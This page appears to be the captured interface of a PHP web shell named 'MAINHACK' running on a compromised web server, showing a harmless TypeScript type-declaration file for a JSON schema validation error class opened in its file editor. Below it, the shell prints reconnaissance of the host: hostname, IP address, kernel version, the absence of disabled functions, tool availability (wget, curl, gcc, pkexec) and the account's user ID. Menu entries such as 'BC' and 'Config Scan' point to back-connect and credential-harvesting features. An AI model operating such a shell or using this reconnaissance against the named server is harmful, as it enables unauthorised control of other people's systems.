[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ValidationError.d.ts
export default ValidationError; export type JSONSchema6 = import('json-schema').JSONSchema6; export type JSONSchema7 = import('json-schema').JSONSchema7; export type Schema = | (import('json-schema').JSONSchema4 & import('./validate').Extend) | (import('json-schema').JSONSchema6 & import('./validate').Extend) | (import('json-schema').JSONSchema7 & import('./validate').Extend); export type ValidationErrorConfiguration = { name?: string | undefined; baseDataPath?: string | undefined; postFormatter?: import('./validate').PostFormatter | undefined; }; export type PostFormatter = ( formattedError: string, error: import('ajv').ErrorObject & { children?: import('ajv').ErrorObject[] | undefined; } ) => string; export type SchemaUtilErrorObject = import('ajv').ErrorObject & { children?: import('ajv').ErrorObject[] | undefined; }; export type SPECIFICITY = number; declare class ValidationError extends Error { /** * @param {Array<SchemaUtilErrorObject>} errors * @param {Schema} schema * @param {ValidationErrorConfiguration} configuration */ constructor( errors: Array<SchemaUtilErrorObject>, schema: Schema, configuration?: ValidationErrorConfiguration ); /** @type {Array<SchemaUtilErrorObject>} */ errors: Array<SchemaUtilErrorObject>; /** @type {Schema} */ schema: Schema; /** @type {string} */ headerName: string; /** @type {string} */ baseDataPath: string; /** @type {PostFormatter | null} */ postFormatter: PostFormatter | null; /** * @param {string} path * @returns {Schema} */ getSchemaPart(path: string): Schema; /** * @param {Schema} schema * @param {boolean} logic * @param {Array<Object>} prevSchemas * @returns {string} */ formatSchema( schema: Schema, logic?: boolean, prevSchemas?: Array<Object> ): string; /** * @param {Schema=} schemaPart * @param {(boolean | Array<string>)=} additionalPath * @param {boolean=} needDot * @param {boolean=} logic * @returns {string} */ getSchemaPartText( schemaPart?: Schema | undefined, additionalPath?: (boolean | Array<string>) | undefined, needDot?: boolean | undefined, logic?: boolean | undefined ): string; /** * @param {Schema=} schemaPart * @returns {string} */ getSchemaPartDescription(schemaPart?: Schema | undefined): string; /** * @param {SchemaUtilErrorObject} error * @returns {string} */ formatValidationError(error: SchemaUtilErrorObject): string; /** * @param {Array<SchemaUtilErrorObject>} errors * @returns {string} */ formatValidationErrors(errors: Array<SchemaUtilErrorObject>): string; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002